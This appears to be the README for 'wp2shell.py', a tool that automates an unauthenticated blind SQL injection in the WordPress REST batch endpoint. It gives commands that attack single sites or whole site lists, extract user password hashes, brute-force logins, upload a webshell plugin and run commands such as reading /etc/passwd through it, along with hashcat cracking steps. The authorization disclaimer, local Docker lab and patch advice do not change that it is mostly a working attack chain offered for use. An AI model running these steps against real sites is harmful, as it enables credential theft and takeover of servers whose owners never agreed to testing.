WordPress REST batch route-confusion blind SQL injection — automated exploit chain.
CVE-2026-63030 / CVE-2026-60137
| Affected | WordPress 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1 |
| Fixed | WordPress 6.9.5 / 7.0.2 |
| Sink | author__not_in SQL via desync'd author_exclude parameter |
| Auth required | None (unauthenticated SQLi) |
For authorized security testing only.
The WordPress REST API batch endpoint (/wp-json/batch/v1) allows nested batch requests. A double-nested desync payload shifts the internal $matches / $validation arrays, routing a crafted author_exclude value into the author__not_in SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.
Exploit chain — 4 phases:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
- Python 3.8+
aiohttpcolorama
pip install aiohttp coloramaSingle target
python wp2shell.py http://target.comSite list (one URL per line)
python wp2shell.py sites.txtSite list + custom password file
python wp2shell.py sites.txt -p pass.txtKnown credentials (skip wordlist)
python wp2shell.py http://target.com --user admin --password admin123Confirm SQLi with timing
python wp2shell.py http://target.com --confirm-sqliNo pretty permalinks
python wp2shell.py http://target.com --rest-routeThrough Burp proxy
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080| Flag | Default | Description |
|---|---|---|
target |
— | URL (http://target) or path to site list file |
-p FILE |
— | Password list file (one per line) |
--user |
— | Skip wordlist, use this username |
--password |
— | Skip wordlist, use this password |
--confirm-sqli |
off | Send active SQL timing probe after marker check |
--rest-route |
off | Use /?rest_route=/batch/v1 (no pretty permalinks) |
--sleep N |
3.0 |
SQL SLEEP() delay in seconds |
--samples N |
3 |
Timing sample pairs for median calculation |
--timeout N |
30.0 |
HTTP request timeout |
--prefix PREFIX |
wp_ |
Database table prefix |
--proxy URL |
— | HTTP/HTTPS proxy |
| File | Content |
|---|---|
creds.txt |
http://target=>user:pass (plaintext if cracked, hash if not) |
webshell.txt |
Live webshell URL |
VULNERABLE.txt |
All targets where phase 1 confirmed vulnerability |
All files append — results accumulate across runs.
Using the webshell — append ?cmd=COMMAND to the URL in webshell.txt:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"If the wordlist misses, creds.txt contains the extracted hash:
hashcat -m 400 creds.txt wordlist.txtThen rerun with the cracked password:
python wp2shell.py http://target.com --user admin --password <plaintext>Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.
First run — build volumes and install WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcliSubsequent starts:
docker compose up -d db wordpressStop:
docker compose downFull reset (wipes all data):
docker compose down -v| URL | http://localhost:8080 |
| Admin | admin / admin123 |
| MySQL host | db |
| MySQL user/pass | wpuser / wppass |
| Database | wordpress |
Run exploit against the lab:
python wp2shell.py http://localhost:8080Update to WordPress 6.9.5 or 7.0.2. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.
For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.